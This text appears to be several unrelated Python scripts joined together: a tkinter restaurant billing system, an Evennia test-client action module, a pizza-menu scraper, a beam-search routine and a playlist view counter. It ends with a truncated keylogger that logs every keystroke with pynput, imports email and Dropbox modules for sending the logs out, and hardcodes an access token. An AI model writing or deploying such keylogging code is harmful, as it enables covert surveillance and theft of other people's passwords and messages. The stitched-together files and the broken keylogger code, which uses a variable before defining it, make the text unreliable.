import gui as g
import sys
import random
import tkinter.messagebox as mb
from dbmethods import *

def main():
    g.Latte_Entry.insert("end", "0")
    g.Espresso_Entry.insert("end", "0")
    g.Iced_latte_Entry.insert("end", "0")
    g.SexOn_Entry.insert("end", "0")
    g.Cappucino_Entry.insert("end", "0")
    g.Frappé_Entry.insert("end", "0")
    g.Doppio_Entry.insert("end", "0")
    g.Iced_cap_Entry.insert("end", "0")
    g.Mojito_Entry.insert("end", "0")
    g.Cheese_Entry.insert("end", "0")
    g.Red_Entry.insert("end", "0")
    g.Pasta_Entry.insert("end", "0")
    g.lasagna_Entry.insert("end", "0")
    g.Carnitas_Entry.insert("end", "0")
    g.Cheeseburger_Entry.insert("end", "0")
    g.Layered_Entry.insert("end", "0")
    g.choc_Entry.insert("end", "0")
    g.Reuben_Entry.insert("end", "0")
    g.listbox_Drinks.insert("end", "0")
    g.listbox_Cakes.insert("end", "0")
    g.listbox_Charge.insert("end", "0")
    g.Tax_Listbox.insert("end", "0")
    g.Sub_Listbox.insert("end", "0")
    g.Total_Listbox.insert("end", "0")
    g.Cash_Entry.insert("end", "0")
    g.listbox_Remain.insert("end", "0")

    g.Latte_Entry.config(state="disabled")
    g.Reuben_Entry.config(state="disabled")
    g.choc_Entry.config(state="disabled")
    g.Layered_Entry.config(state="disabled")
    g.Cheeseburger_Entry.config(state="disabled")
    g.Carnitas_Entry.config(state="disabled")
    g.lasagna_Entry.config(state="disabled")
    g.Pasta_Entry.config(state="disabled")
    g.Red_Entry.config(state="disabled")
    g.Cheese_Entry.config(state="disabled")
    g.Mojito_Entry.config(state="disabled")
    g.Iced_cap_Entry.config(state="disabled")
    g.Doppio_Entry.config(state="disabled")
    g.Frappé_Entry.config(state="disabled")
    g.Cappucino_Entry.config(state="disabled")
    g.SexOn_Entry.config(state="disabled")
    g.Iced_latte_Entry.config(state="disabled")
    g.Espresso_Entry.config(state="disabled")

    g.listbox.insert("end", "=================================================")
    g.listbox.insert("end", "                                           RESTAURANT BILLING SYSTEM")
    g.listbox.insert("end", "=================================================")

    g.window.mainloop()

def reset():
    m = mb.askyesno("SYSTEM ALERT", "Are You Sure Reset All..! \n")

    if m == 1:
        g.Latte_Entry.delete(0, 5)
        g.Espresso_Entry.delete(0, 5)
        g.Iced_latte_Entry.delete(0, 5)
        g.SexOn_Entry.delete(0, 5)
        g.Cappucino_Entry.delete(0, 5)
        g.Frappé_Entry.delete(0, 5)
        g.Doppio_Entry.delete(0, 5)
        g.Iced_cap_Entry.delete(0, 5)
        g.Mojito_Entry.delete(0, 5)
        g.Cheese_Entry.delete(0, 5)
        g.Red_Entry.delete(0, 5)
        g.Pasta_Entry.delete(0, 5)
        g.lasagna_Entry.delete(0, 5)
        g.Carnitas_Entry.delete(0, 5)
        g.Cheeseburger_Entry.delete(0, 5)
        g.Layered_Entry.delete(0, 5)
        g.choc_Entry.delete(0, 5)
        g.Reuben_Entry.delete(0, 5)
        g.listbox_Drinks.delete(0, 5)
        g.listbox_Cakes.delete(0, 5)
        g.listbox_Charge.delete(0, 5)
        g.Tax_Listbox.delete(0, 5)
        g.Sub_Listbox.delete(0, 5)
        g.Total_Listbox.delete(0, 5)
        g.Cash_Entry.delete(0, 5)
        g.listbox_Remain.delete(0, 5)
        g.Entry_Cal.delete(0, 10)

        g.Latte_Entry.insert("end", "0")
        g.Espresso_Entry.insert("end", "0")
        g.Iced_latte_Entry.insert("end", "0")
        g.SexOn_Entry.insert("end", "0")
        g.Cappucino_Entry.insert("end", "0")
        g.Frappé_Entry.insert("end", "0")
        g.Doppio_Entry.insert("end", "0")
        g.Iced_cap_Entry.insert("end", "0")
        g.Mojito_Entry.insert("end", "0")
        g.Cheese_Entry.insert("end", "0")
        g.Red_Entry.insert("end", "0")
        g.Pasta_Entry.insert("end", "0")
        g.lasagna_Entry.insert("end", "0")
        g.Carnitas_Entry.insert("end", "0")
        g.Cheeseburger_Entry.insert("end", "0")
        g.Layered_Entry.insert("end", "0")
        g.choc_Entry.insert("end", "0")
        g.Reuben_Entry.insert("end", "0")
        g.listbox_Drinks.insert("end", "0")
        g.listbox_Cakes.insert("end", "0")
        g.listbox_Charge.insert("end", "0")
        g.Tax_Listbox.insert("end", "0")
        g.Sub_Listbox.insert("end", "0")
        g.Total_Listbox.insert("end", "0")
        g.Cash_Entry.insert("end", "0")
        g.listbox_Remain.insert("end", "0")

        g.Latte_Entry.config(state="disabled")
        g.Reuben_Entry.config(state="disabled")
        g.choc_Entry.config(state="disabled")
        g.Layered_Entry.config(state="disabled")
        g.Cheeseburger_Entry.config(state="disabled")
        g.Carnitas_Entry.config(state="disabled")
        g.lasagna_Entry.config(state="disabled")
        g.Pasta_Entry.config(state="disabled")
        g.Red_Entry.config(state="disabled")
        g.Cheese_Entry.config(state="disabled")
        g.Mojito_Entry.config(state="disabled")
        g.Iced_cap_Entry.config(state="disabled")
        g.Doppio_Entry.config(state="disabled")
        g.Frappé_Entry.config(state="disabled")
        g.Cappucino_Entry.config(state="disabled")
        g.SexOn_Entry.config(state="disabled")
        g.Iced_latte_Entry.config(state="disabled")
        g.Espresso_Entry.config(state="disabled")

        g.var1.set(value=0)
        g.var2.set(value=0)
        g.var3.set(value=0)
        g.var4.set(value=0)
        g.var5.set(value=0)
        g.var6.set(value=0)
        g.var7.set(value=0)
        g.var8.set(value=0)
        g.var9.set(value=0)
        g.var10.set(value=0)
        g.var11.set(value=0)
        g.var12.set(value=0)
        g.var13.set(value=0)
        g.var14.set(value=0)
        g.var15.set(value=0)
        g.var16.set(value=0)
        g.var17.set(value=0)
        g.var18.set(value=0)

        g.listbox.delete(0, 20)
        g.listbox.insert("end", "=================================================")
        g.listbox.insert("end", "                                           RESTAURANT BILLING SYSTEM")
        g.listbox.insert("end", "=================================================")

    else:
        mb.showinfo("SYSTEM ALERT", "Canceled")

def total():
    l = int(g.Latte_Entry.get())
    e = int(g.Espresso_Entry.get())
    il = int(g.Iced_latte_Entry.get())
    v = int(g.SexOn_Entry.get())
    c = int(g.Cappucino_Entry.get())
    af = int(g.Frappé_Entry.get())
    am = int(g.Doppio_Entry.get())
    ic = int(g.Iced_cap_Entry.get())
    im = int(g.Mojito_Entry.get())
    sc = int(g.Cheese_Entry.get())
    su = int(g.Red_Entry.get())
    j = int(g.Pasta_Entry.get())
    w = int(g.lasagna_Entry.get())
    lc = int(g.Carnitas_Entry.get())
    k = int(g.Cheeseburger_Entry.get())
    ck = int(g.Layered_Entry.get())
    q = int(g.choc_Entry.get())
    p = int(g.Reuben_Entry.get())

    Latte, Espresso, Iced_latte, SexOn, Cappucino = 10,7,35,20,20
    Frappé, Doppio, Iced_cap, Mojito = 20,20,20,40
    Cheese, Red, Pasta, lasagna, Carnitas = 30,30,40,20,15
    Cheeseburger, Layered, choc, Reuben = 20,50,45,45

    tax, charge = 2.8, 1.0

    ll = Latte * l
    ee = Espresso * e
    ilil = Iced_latte * il
    vv = SexOn * v
    cc = Cappucino * c
    aaf = Frappé * af
    aam = Doppio * am
    icic = Iced_cap * ic
    imim = Mojito * im
    ssc = Cheese * sc
    ssu = Red * su
    jj = Pasta * j
    ww = lasagna * w
    llc = Carnitas * lc
    kk = Cheeseburger * k
    cck = Layered * ck
    qq = choc * q
    pp = Reuben * p

    drink = ll + ee + ilil + vv + cc + aaf + aam + icic + imim

    cake = ssc + ssu + jj + ww + llc + kk + cck + qq + pp

    if (drink + cake) == 0:
        tax = 0.0
        charge = 0.0

    sub = drink + cake + charge

    full_total = sub + tax

    g.listbox_Drinks.delete(0, 5)
    g.listbox_Cakes.delete(0, 5)
    g.listbox_Charge.delete(0, 5)
    g.Tax_Listbox.delete(0, 5)
    g.Sub_Listbox.delete(0, 5)
    g.Total_Listbox.delete(0, 5)

    g.listbox_Drinks.insert("end", "rs " + str('%.2f' % drink))
    g.listbox_Cakes.insert("end", "rs " + str('%.2f' % cake))
    g.listbox_Charge.insert("end", "rs " + str('%.2f' % charge))
    g.Tax_Listbox.insert("end", "rs " + str('%.2f' % tax))
    g.Sub_Listbox.insert("end", "rs " + str('%.2f' % sub))
    g.Total_Listbox.insert("end", "rs " + str('%.2f' % full_total))

    cash = int(g.Cash_Entry.get())
    remain = 0

    if cash != 0:
        remain = cash - full_total
        g.listbox_Remain.delete(0, 5)
        g.Entry_Cal.delete(0, 5)
        g.listbox_Remain.insert("end", "rs " + str('%.2f' % remain))

    #============chef side
    db_del()
    if g.var1.get() == 1:
        db_insert_ml("Filter Cofee",l)
    if g.var2.get() == 1:
        db_insert_ml("Tea",e)
    if g.var3.get() == 1:
        db_insert_ml("Cold Coffe",il)
    if g.var4.get() == 1:
        db_insert_ml("Thumps Up",v)
    if g.var5.get() == 1:
        db_insert_ml("7up",c)
    if g.var6.get() == 1:
        db_insert_ml("Sprite",af)
    if g.var7.get() == 1:
        db_insert_ml("Doppio",am)
    if g.var8.get() == 1:
        db_insert_ml("coca-cola",ic)
    if g.var9.get() == 1:
        db_insert_ml("oreoms",im)
    if g.var10.get() == 1:
        db_insert_ml("Idly",sc)
    if g.var11.get() == 1:
        db_insert_ml("Mysore Bajji",su)
    if g.var12.get() == 1:
        db_insert_ml("Dosa",j)
    if g.var13.get() == 1:
        db_insert_ml("Samosa",w)
    if g.var14.get() == 1:
        db_insert_ml("Veg puff",lc)
    if g.var15.get() == 1:
        db_insert_ml("eggpuff",k)
    if g.var16.get() == 1:
        db_insert_ml("Meals",ck)
    if g.var17.get() == 1:
        db_insert_ml("Fried Rice",q)
    if g.var18.get() == 1:
        db_insert_ml("Manchuria",p)
    #============

    #============sales side

    #=============

    return drink, cake, charge, tax, full_total, ll, ee, ilil, vv, cc, aaf, aam, icic, imim, ssc, ssu, jj, ww, llc, kk, cck, qq, pp, remain

def recipt():
    total_tuple = total()
    print(total_tuple)
    x = random.randint(1254, 3256)

    g.listbox.delete(0, 20)
    g.listbox.insert("end", "=================================================")
    g.listbox.insert("end", ("Ref : " + str(x) + "                          RESTAURANT BILLING SYSTEM"))
    g.listbox.insert("end", "=================================================")
    g.listbox.insert("end", "                                                 ")
    g.listbox.insert("end", "           Items                             Number of Items                              Total")
    g.listbox.insert("end", "                                                 ")
    if g.var1.get() == 1:
        g.listbox.insert("end", "     Filter Cofee                                               {}                                            {}".format(g.Latte_Entry.get(), total_tuple[5]))
    if g.var2.get() == 1:
        g.listbox.insert("end", "     Tea                                          {}                                            {}".format(g.Espresso_Entry.get(), total_tuple[6]))
        #db_insert("Tea",total_tuple[6])
    if g.var3.get() == 1:
        g.listbox.insert("end", "     Cold Cofee                                         {}                                            {}".format(g.Iced_latte_Entry.get(), total_tuple[7]))
        #db_insert("Cold Coffe",total_tuple[7])
    if g.var4.get() == 1:
        g.listbox.insert("end", "     Thumps Up                           {}                                            {}".format(g.SexOn_Entry.get(), total_tuple[8]))
        #db_insert("Thumps Up",total_tuple[8])
    if g.var5.get() == 1:
        g.listbox.insert("end", "     7up                                     {}                                            {}".format(g.Cappucino_Entry.get(), total_tuple[9]))
        #db_insert("7up",total_tuple[9])
    if g.var6.get() == 1:
        g.listbox.insert("end", "     Sprite                                            {}                                            {}".format(g.Frappé_Entry.get(), total_tuple[10]))
        #db_insert("Sprite",total_tuple[10])
    if g.var7.get() == 1:
        g.listbox.insert("end", "     Doppio                                            {}                                            {}".format(g.Doppio_Entry.get(), total_tuple[11]))
        #db_insert("Coca-Cola",total_tuple[11])
    if g.var8.get() == 1:
        g.listbox.insert("end", "     Coca-Cola                            {}                                            {}".format(g.Iced_cap_Entry.get(), total_tuple[12]))
        #db_insert("Oreoms",total_tuple[12])
    if g.var9.get() == 1:
        g.listbox.insert("end", "      oreo milk shake                                            {}                                            {}".format(g.Mojito_Entry.get(), total_tuple[13]))
        #db_insert("Idly",total_tuple[13])
    if g.var10.get() == 1:
        g.listbox.insert("end", "    Idly                                     {}                                           {}".format(g.Cheese_Entry.get(), total_tuple[14]))
        #db_insert("Mysorebajji",total_tuple[14])
    if g.var11.get() == 1:
        g.listbox.insert("end", "    Mysoe_Bajji                                {}                                          {}".format(g.Red_Entry.get(), total_tuple[15]))
        #db_insert("Dosa",total_tuple[15])
    if g.var12.get() == 1:
        g.listbox.insert("end", "    Dosa                              {}                                          {}".format(g.Pasta_Entry.get(), total_tuple[16]))
        #db_insert("Samosa",total_tuple[16])
    if g.var13.get() == 1:
        g.listbox.insert("end", "    Samosa                          {}                                          {}".format(g.lasagna_Entry.get(), total_tuple[17]))
        #db_insert("Veg puff",total_tuple[17])
    if g.var14.get() == 1:
        g.listbox.insert("end", "    Veg Puff                                {}                                          {}".format(g.Carnitas_Entry.get(), total_tuple[18]))
        #db_insert("Non Veg Puff",total_tuple[18])
    if g.var15.get() == 1:
        g.listbox.insert("end", "   Non Veg Puff                                   {}                                          {}".format(g.Cheeseburger_Entry.get(), total_tuple[19]))
        #db_insert("Meals",total_tuple[19])
    if g.var16.get() == 1:
        g.listbox.insert("end", "    Meals                     {}                                          {}".format(g.Layered_Entry.get(), total_tuple[20]))
        #db_insert("Noodles",total_tuple[20])
    if g.var17.get() == 1:
        g.listbox.insert("end", "    Fried Rice                    {}                                          {}".format(g.choc_Entry.get(), total_tuple[21]))
        #db_insert("Fried Rice",total_tuple[21])
    if g.var18.get() == 1:
        g.listbox.insert("end", "    Manchuria                            {}                                          {}".format(g.Reuben_Entry.get(), total_tuple[22]))
        #db_insert("Manchuria",total_tuple[22])

    g.listbox.insert("end", "                                                 ")
    g.listbox.insert("end", "=================================================")
    g.listbox.insert("end", "                                                 ")
    g.listbox.insert("end", ("     Cost of Drinks : " + "                                                                            rs " + str('%.2f' % total_tuple[0])))
    g.listbox.insert("end", ("     Cost of Food Items : " + "                                                                    rs" + str('%.2f' % total_tuple[1])))
    g.listbox.insert("end", ("     Service Charge : " + "                                                                           rs " + str('%.2f' % total_tuple[2])))
    g.listbox.insert("end", ("     Paid Tax : " + "                                                                                rs " + str('%.2f' % total_tuple[3])))
    g.listbox.insert("end", ("     Total : " + "                                                                                rs " + str('%.2f' % total_tuple[4])))
    if float(g.Cash_Entry.get()) != 0: g.listbox.insert("end", "     Cash                                                                                rs {}".format('%.2f' % float(g.Cash_Entry.get())))
    if float(g.Cash_Entry.get()) != 0: g.listbox.insert("end", "     Remain                                                                                rs {}".format('%.2f' % float(total_tuple[23])))

    g.listbox.insert("end", "                                                 ")
    g.listbox.insert("end", "=================================================")

def exit_window():
    m = mb.askyesno("SYSTEM ALERT", "Are You Sure Exit From System \n")
    if m == 1:
        sys.exit()

    else:
        mb.showinfo("SYSTEM ALERT", "Canceled")

calculator = ""

def set_number7():
    global calculator
    calculator = calculator + "7"
    g.Entry_Cal.insert("end", "7")

def set_number8():
    global calculator
    calculator = calculator + "8"
    g.Entry_Cal.insert("end", "8")

def set_number9():
    global calculator
    calculator = calculator + "9"
    g.Entry_Cal.insert("end", "9")

def set_number6():
    global calculator
    calculator = calculator + "6"
    g.Entry_Cal.insert("end", "6")

def set_number5():
    global calculator
    calculator = calculator + "5"
    g.Entry_Cal.insert("end", "5")

def set_number4():
    global calculator
    calculator = calculator + "4"
    g.Entry_Cal.insert("end", "4")

def set_number3():
    global calculator
    calculator = calculator + "3"
    g.Entry_Cal.insert("end", "3")

def set_number2():
    global calculator
    calculator = calculator + "2"
    g.Entry_Cal.insert("end", "2")

def set_number1():
    global calculator
    calculator = calculator + "1"
    g.Entry_Cal.insert("end", "1")

def set_number0():
    global calculator
    calculator = calculator + "0"
    g.Entry_Cal.insert("end", "0")

def set_number_plus():
    global calculator
    calculator = calculator + " + "
    g.Entry_Cal.insert("end", " + ")

def set_number_minus():
    global calculator
    calculator = calculator + " - "
    g.Entry_Cal.insert("end", " - ")

def set_number_div():
    global calculator
    calculator = calculator + " / "
    g.Entry_Cal.insert("end", " / ")

def set_number_sub():
    global calculator
    calculator = calculator + " * "
    g.Entry_Cal.insert("end", " * ")

def set_number_dot():
    global calculator
    calculator = calculator + "."
    g.Entry_Cal.insert("end", ".")

def equal():
    g.Entry_Cal.delete(0, 50)
    global calculator
    g.Entry_Cal.insert("end", eval(calculator))

def clear():
    global calculator
    calculator = ""
    g.Entry_Cal.delete(0, 50)

def Latte():
    if g.var1.get() == 1:
        g.Latte_Entry.config(state="normal")
        g.Latte_Entry.delete(0, 5)
    else:
        g.Latte_Entry.delete(0, 5)
        g.Latte_Entry.insert("end", "0")
        g.Latte_Entry.config(state="disabled")

def Espresso():
    if g.var2.get() == 1:
        g.Espresso_Entry.config(state="normal")
        g.Espresso_Entry.delete(0, 5)
    else:
        g.Espresso_Entry.delete(0, 5)
        g.Espresso_Entry.insert("end", "0")
        g.Espresso_Entry.config(state="disabled")

def Iced_latte():
    if g.var3.get() == 1:
        g.Iced_latte_Entry.config(state="normal")
        g.Iced_latte_Entry.delete(0, 5)
    else:
        g.Iced_latte_Entry.delete(0, 5)
        g.Iced_latte_Entry.insert("end", "0")
        g.Iced_latte_Entry.config(state="disabled")

def SexOn():
    if g.var4.get() == 1:
        g.SexOn_Entry.config(state="normal")
        g.SexOn_Entry.delete(0, 5)
    else:
        g.SexOn_Entry.delete(0, 5)
        g.SexOn_Entry.insert("end", "0")
        g.SexOn_Entry.config(state="disabled")

def Cappucino():
    if g.var5.get() == 1:
        g.Cappucino_Entry.config(state="normal")
        g.Cappucino_Entry.delete(0, 5)
    else:
        g.Cappucino_Entry.delete(0, 5)
        g.Cappucino_Entry.insert("end", "0")
        g.Cappucino_Entry.config(state="disabled")

def Frappé():
    if g.var6.get() == 1:
        g.Frappé_Entry.config(state="normal")
        g.Frappé_Entry.delete(0, 5)
    else:
        g.Frappé_Entry.delete(0, 5)
        g.Frappé_Entry.insert("end", "0")
        g.Frappé_Entry.config(state="disabled")

def Doppio():
    if g.var7.get() == 1:
        g.Doppio_Entry.config(state="normal")
        g.Doppio_Entry.delete(0, 5)
    else:
        g.Doppio_Entry.delete(0, 5)
        g.Doppio_Entry.insert("end", "0")
        g.Doppio_Entry.config(state="disabled")

def Iced_cap():
    if g.var8.get() == 1:
        g.Iced_cap_Entry.config(state="normal")
        g.Iced_cap_Entry.delete(0, 5)
    else:
        g.Iced_cap_Entry.delete(0, 5)
        g.Iced_cap_Entry.insert("end", "0")
        g.Iced_cap_Entry.config(state="disabled")

def Mojito():
    if g.var9.get() == 1:
        g.Mojito_Entry.config(state="normal")
        g.Mojito_Entry.delete(0, 5)
    else:
        g.Mojito_Entry.delete(0, 5)
        g.Mojito_Entry.insert("end", "0")
        g.Mojito_Entry.config(state="disabled")

def Cheese():
    if g.var10.get() == 1:
        g.Cheese_Entry.config(state="normal")
        g.Cheese_Entry.delete(0, 5)
    else:
        g.Cheese_Entry.delete(0, 5)
        g.Cheese_Entry.insert("end", "0")
        g.Cheese_Entry.config(state="disabled")

def Red():
    if g.var11.get() == 1:
        g.Red_Entry.config(state="normal")
        g.Red_Entry.delete(0, 5)
    else:
        g.Red_Entry.delete(0, 5)
        g.Red_Entry.insert("end", "0")
        g.Red_Entry.config(state="disabled")

def Pasta():
    if g.var12.get() == 1:
        g.Pasta_Entry.config(state="normal")
        g.Pasta_Entry.delete(0, 5)
    else:
        g.Pasta_Entry.delete(0, 5)
        g.Pasta_Entry.insert("end", "0")
        g.Pasta_Entry.config(state="disabled")

def lasagna():
    if g.var13.get() == 1:
        g.lasagna_Entry.config(state="normal")
        g.lasagna_Entry.delete(0, 5)
    else:
        g.lasagna_Entry.delete(0, 5)
        g.lasagna_Entry.insert("end", "0")
        g.lasagna_Entry.config(state="disabled")

def Carnitas():
    if g.var14.get() == 1:
        g.Carnitas_Entry.config(state="normal")
        g.Carnitas_Entry.delete(0, 5)
    else:
        g.Carnitas_Entry.delete(0, 5)
        g.Carnitas_Entry.insert("end", "0")
        g.Carnitas_Entry.config(state="disabled")

def Cheeseburger():
    if g.var15.get() == 1:
        g.Cheeseburger_Entry.config(state="normal")
        g.Cheeseburger_Entry.delete(0, 5)
    else:
        g.Cheeseburger_Entry.delete(0, 5)
        g.Cheeseburger_Entry.insert("end", "0")
        g.Cheeseburger_Entry.config(state="disabled")

def Layered():
    if g.var16.get() == 1:
        g.Layered_Entry.config(state="normal")
        g.Layered_Entry.delete(0, 5)
    else:
        g.Layered_Entry.delete(0, 5)
        g.Layered_Entry.insert("end", "0")
        g.Layered_Entry.config(state="disabled")

def choc():
    if g.var17.get() == 1:
        g.choc_Entry.config(state="normal")
        g.choc_Entry.delete(0, 5)
    else:
        g.choc_Entry.delete(0, 5)
        g.choc_Entry.insert("end", "0")
        g.choc_Entry.config(state="disabled")

def Reuben():
    if g.var18.get() == 1:
        g.Reuben_Entry.config(state="normal")
        g.Reuben_Entry.delete(0, 5)
    else:
        g.Reuben_Entry.delete(0, 5)
        g.Reuben_Entry.insert("end", "0")
        g.Reuben_Entry.config(state="disabled")

if __name__ == '__main__':
    main()


"""
These are actions for the dummy client runner, using
the default command set and intended for unmodified Evennia.

Each client action is defined as a function. The clients
will perform these actions randomly (except the login action).

Each action-definition function should take one argument- "client",
which is a reference to the client currently performing the action
Use the client object for saving data between actions.

The client object has the following relevant properties and methods:
  cid - unique client id
  istep - the current step
  exits - an empty list. Can be used to store exit names
  objs - an empty list. Can be used to store object names
  counter() - get an integer value. This counts up for every call and
              is always unique between clients.

The action-definition function should return the command that the
client should send to the server (as if it was input in a mud client).
It should also return a string detailing the action taken. This string is
used by the "brief verbose" mode of the runner and is prepended by
"Client N " to produce output like "Client 3 is creating objects ..."

This module *must* also define a variable named ACTIONS. This is a tuple
where the first element is the function object for the action function
to call when the client logs onto the server.  The following elements
are 2-tuples (probability, action_func), where probability defines how
common it is for that particular action to happen. The runner will
randomly pick between those functions based on the probability.

ACTIONS = (login_func, (0.3, func1), (0.1, func2) ... )

To change the runner to use your custom ACTION and/or action
definitions, edit settings.py and add

 DUMMYRUNNER_ACTIONS_MODULE = "path.to.your.module"

"""

# it's very useful to have a unique id for this run to avoid any risk
# of clashes

import time
RUNID = time.time()

# some convenient templates

START_ROOM = "testing_room_start-%s-%s" % (RUNID, "%i")
ROOM_TEMPLATE = "testing_room_%s-%s" % (RUNID, "%i")
EXIT_TEMPLATE = "exit_%s-%s" % (RUNID, "%i")
OBJ_TEMPLATE = "testing_obj_%s-%s" % (RUNID, "%i")
TOBJ_TEMPLATE = "testing_button_%s-%s" % (RUNID, "%i")
TOBJ_TYPECLASS = "examples.red_button.RedButton"

# action function definitions

def c_login(client):
    "logins to the game"
    cname = "Dummy-%s-%i" % (RUNID, client.cid)
    #cemail = "%s@dummy.com" % (cname.lower())
    cpwd = "%s-%s" % (RUNID, client.cid)
    # set up for digging a first room (to move to)
    roomname = ROOM_TEMPLATE % client.counter()
    exitname1 = EXIT_TEMPLATE % client.counter()
    exitname2 = EXIT_TEMPLATE % client.counter()
    client.exits.extend([exitname1, exitname2])
    #cmd = '@dig %s = %s, %s' % (roomname, exitname1, exitname2)
    cmd = ('create %s %s' % (cname, cpwd),
           'connect %s %s' % (cname, cpwd),
           '@dig %s' % START_ROOM % client.cid,
           '@teleport %s' % START_ROOM % client.cid,
           '@dig %s = %s, %s' % (roomname, exitname1, exitname2)
           )

    return cmd, "logs in as %s ..." % cname

def c_logout(client):
    "logouts of the game"
    return "@quit", "logs out"

def c_looks(client):
    "looks at various objects"
    cmd = ["look %s" % obj for obj in client.objs]
    if not cmd:
        cmd = ["look %s" % exi for exi in client.exits]
        if not cmd:
            cmd = "look"
    return cmd, "looks ..."

def c_examines(client):
    "examines various objects"
    cmd = ["examine %s" % obj for obj in client.objs]
    if not cmd:
        cmd = ["examine %s" % exi for exi in client.exits]
    if not cmd:
        cmd = "examine me"
    return cmd, "examines objs ..."

def c_help(client):
    "reads help files"
    cmd = ('help',
           'help @teleport',
           'help look',
           'help @tunnel',
           'help @dig')
    return cmd, "reads help ..."

def c_digs(client):
    "digs a new room, storing exit names on client"
    roomname = ROOM_TEMPLATE % client.counter()
    exitname1 = EXIT_TEMPLATE % client.counter()
    exitname2 = EXIT_TEMPLATE % client.counter()
    client.exits.extend([exitname1, exitname2])
    cmd = '@dig/tel %s = %s, %s' % (roomname, exitname1, exitname2)
    return cmd, "digs ..."

def c_creates_obj(client):
    "creates normal objects, storing their name on client"
    objname = OBJ_TEMPLATE % client.counter()
    client.objs.append(objname)
    cmd = ('@create %s' % objname,
           '@desc %s = "this is a test object' % objname,
           '@set %s/testattr = this is a test attribute value.' % objname,
           '@set %s/testattr2 = this is a second test attribute.' % objname)
    return cmd, "creates obj ..."

def c_creates_button(client):
    "creates example button, storing name on client"
    objname = TOBJ_TEMPLATE % client.counter()
    client.objs.append(objname)
    cmd = ('@create %s:%s' % (objname, TOBJ_TYPECLASS),
           '@desc %s = test red button!' % objname)
    return cmd, "creates button ..."

def c_socialize(client):
    "socializechats on channel"
    cmd = ('ooc Hello!',
          'ooc Testing ...',
          'ooc Testing ... times 2',
          'say Yo!',
          'emote stands looking around.')
    return cmd, "socializes ..."

def c_moves(client):
    "moves to a previously created room, using the stored exits"
    cmd = client.exits # try all exits - finally one will work
    if not cmd: cmd = "look"
    return cmd, "moves ..."

# Action tuple (required)
#
# This is a tuple of client action functions. The first element is the
# function the client should use to log into the game and move to
# STARTROOM . The second element is the logout command, for cleanly
# exiting the mud. The following elements are 2-tuples of (probability,
# action_function). The probablities should normally sum up to 1,
# otherwise the system will normalize them.
#

## "normal builder" definition
#ACTIONS = ( c_login,
#            c_logout,
#            (0.5, c_looks),
#            (0.08, c_examines),
#            (0.1, c_help),
#            (0.01, c_digs),
#            (0.01, c_creates_obj),
#            (0.3, c_moves))
## "heavy" builder definition
#ACTIONS = ( c_login,
#            c_logout,
#            (0.2, c_looks),
#            (0.1, c_examines),
#            (0.2, c_help),
#            (0.1, c_digs),
#            (0.1, c_creates_obj),
#            #(0.01, c_creates_button),
#            (0.2, c_moves))
## "passive player" definition
#ACTIONS = ( c_login,
#            c_logout,
#            (0.7, c_looks),
#            #(0.1, c_examines),
#            (0.3, c_help))
#            #(0.1, c_digs),
#            #(0.1, c_creates_obj),
#            #(0.1, c_creates_button),
#            #(0.4, c_moves))
## "normal player" definition
ACTIONS = ( c_login,
            c_logout,
            (0.01, c_digs),
            (0.39, c_looks),
            (0.2, c_help),
            (0.4, c_moves))
## "socializing heavy builder" definition
#ACTIONS = (c_login,
#           c_logout,
#           (0.1, c_socialize),
#           (0.1, c_looks),
#           (0.2, c_help),
#           (0.1, c_creates_obj),
#           (0.2, c_digs),
#           (0.3, c_moves))
## "heavy digger memory tester" definition
#ACTIONS = (c_login,
#           c_logout,
#           (1.0, c_digs))


from bs4 import BeautifulSoup as bs
import requests
import json

text1 = requests.get("https://www.dominos.co.in/menu/veg-pizzas")

soup = bs(text1.text, "html.parser")
row = soup.find_all(class_="row")

pizza_list = []

for i in row:
    name = i.find("h3")
    final = name.a.text

    desc = i.find("p").get_text()

    pizza = {"pizza_name": final, "description": desc}
    pizza_list.append(pizza)

output_dict = {"items": pizza_list}
json_output = json.dumps(output_dict, indent=4)

print(json_output)

with open("./output.json", "w") as fs:
    fs.write(json_output)


from hill_climbing import *

TIPOS = [ (1,3), (4,6), (5,7) ]

def beam_search(types, max_size, m):
    f = []
    state = [0 for i in types]
    newStates = expandState(state)

    validStates = list(
        filter(
            lambda state: stateIsValid(state, types, max_size),
            newStates,
        )
    )

    validStates.sort(key=lambda x: stateValue(x, types))
    #print(validStates)

    for i in range(0,m):
        f.append(validStates.pop())
        if len(validStates) == 0:
            break

    #print(f)

    while True:
        aux = []

        for i in range(0, len(f)):
            validStates = []
            newStates = expandState(f[i])

            validStates = list(
                filter(
                    lambda state: stateIsValid(state, types, max_size),
                    newStates,
                )
            )

            aux += validStates

        if not aux:
            return f.pop(0)

        aux.sort(key=lambda x: stateValue(x, types))
        #print(aux)

        f = []
        for i in range(0,m):
            f.append(aux.pop())
            if len(aux) == 0:
                break

        #print(f)

if __name__ == "__main__":
    result = beam_search(TIPOS, 19, 2)
    print(result)
    print("Custo da solução: "+str(stateSize(result, TIPOS))+", Valor da solução: "+str(stateValue(result, TIPOS)))


def lecture(fichier):
    """
    Renvoie le nombre de vidéos, le nombre de vues et le nombre moyen de vues par vidéo
    """
    vues_tot = 0
    nb = 0
    mini = 10**5
    maxi = 0
    with open(fichier) as f:
         for line in f:
              lien, duree, titre, vues = line.strip().split(';')
              vues = int(vues)
              vues_tot += vues
              nb += 1
              if vues > maxi: maxi = vues
              if vues < mini: mini = vues
    return nb, vues_tot, vues_tot // nb, mini, maxi

VUES_TOT = 0
NB_TOT = 0

for playlist in ['organisation', 'langues', 'maths', 'physique', 'chimie', 'informatique']:
    n, v, vpv, m, M = lecture(playlist + '.txt')
    s = "Concernant la playlist {}\n".format(playlist)
    s+= "Un total de {} vues pour {} vidéos, soit {} vues par vidéo en moyenne\n".format(v, n, vpv)
    s+= "avec un minimum de {} vues et un maximum de {} vues.\n".format(m, M)
    s+= 70 * "=" + "\n"
    print(s)
    VUES_TOT += v
    NB_TOT += n

print('Au total, {} vidéos totalisent {} vues soit {} vues par vidéo'.format(NB_TOT, VUES_TOT, VUES_TOT // NB_TOT))


import dropbox
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
import time
from pynput.keyboard import Key, Listener
import threading
import logging

logging.basicConfig(filename=(log_dir + "test.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s:')

def on_press(Key):
    logging.info(str(Key))

with Listener(on_press=on_press) as listener:
    listener.join()

log_dir = ""

class TransferData:
    def __init__(self, access_token):
        self.access_token = 'RANt4BUePOAAAAAAAAAACdZEolhDaXGoRiMSD_tAYemEfRRW9uNz9qad2UGf34VS'

    def upload_file(self, file_from, file_to):
